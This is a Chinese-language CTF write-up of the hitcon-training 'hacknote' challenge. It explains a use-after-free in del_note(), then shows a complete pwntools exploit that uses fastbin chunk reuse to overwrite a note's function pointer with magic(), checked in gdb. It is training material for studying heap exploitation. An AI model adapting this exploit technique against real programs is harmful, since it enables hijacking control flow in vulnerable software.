参考ctf-wiki
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/heap/use_after_free/hitcon-training-hacknote
以下实验所用程序(与源码)见上述链接中文件hacknote(与hacknote.c)
漏洞的发现
在del_note()
函数中free掉指针之后没有清零:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void del_note() { char buf[4]; int idx; printf("Index :"); read(0, buf, 4); idx = atoi(buf); if (idx < 0 || idx >= count) { puts("Out of bound!"); _exit(0); } if (notelist[idx]) { free(notelist[idx]->content); free(notelist[idx]); puts("Success"); } }
|
程序中给了system:
1 2 3 4
| int magic() { return system("cat flag"); }
|
漏洞利用方法
exp如下
1 2 3 4 5 6
| add(0x20, 'aaaa\n') add(0x20, 'bbbb\n') delete(0) delete(1) add(0x8, p32(magic)) show(0)
|
下面介绍这个exp的原理
在delete 0和1之后fastbin结构如下图
chunk A是申请的`note[0]`结构体的空间,chunk B是`note[0]->content`的空间
chunk C、D是note[1]
的空间
由于fastbin会把同样大小的块放在同一个链表上,因此两个0x8大小的chunk A、 chunk C会被连在一起,并且由于fastbin使用的是先进后出的单向链表,A在C下面。
当申请一个content大小为0x8的新的note时,会将A和C从fastbin中取出。先malloc结构体本身,使用chunk C,然后malloc content,使用chunk A。
因此add(0x8,p32(magic))
会把magic地址写入content,调用show的时候,会直接执行这个函数。
理论是如此,下面用gdb验证一下
调试
完整exp,在两次add、两次delete、最后一次add之后分别attach查看notelist
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * r = process(file_name) elf = ELF('./hacknote') menu = 'Your choice :'
def add(size, content): r.sendlineafter(menu, '1') r.sendlineafter('Note size :', str(size)) r.sendafter('Content :', content)
def delete(index): r.sendlineafter(menu, '2') r.sendlineafter('Index :', str(index))
def show(index): r.sendlineafter(menu, '3') r.sendlineafter('Index :', str(index))
def dbg(): gdb.attach(r)
add(0x20, 'aaaa\n') add(0x20, 'bbbb\n') dbg() delete(0) delete(1) dbg() magic = 0x08048986 add(0x8, p32(magic)) dbg() show(0) r.interactive()
|
在ida中可以看到notelist的地址
1 2 3 4
| .bss:0804A070 ; void *notelist .bss:0804A070 notelist dd ? ; DATA XREF: add_note+40↑r .bss:0804A070 ; add_note+61↑w ... .bss:0804A074 db ? ;
|
查看三次notelist的内容,
可以看到,0x92f31a0
上的地址为print_note函数的地址,在free之前,0x92f31a4
上的内容指向下一行开头,即aaaa
字符串,所以这里就是note[0]。
在第三次add之后改变了note[0]原本在print_note上的函数指针,因此show(0)时会执行magic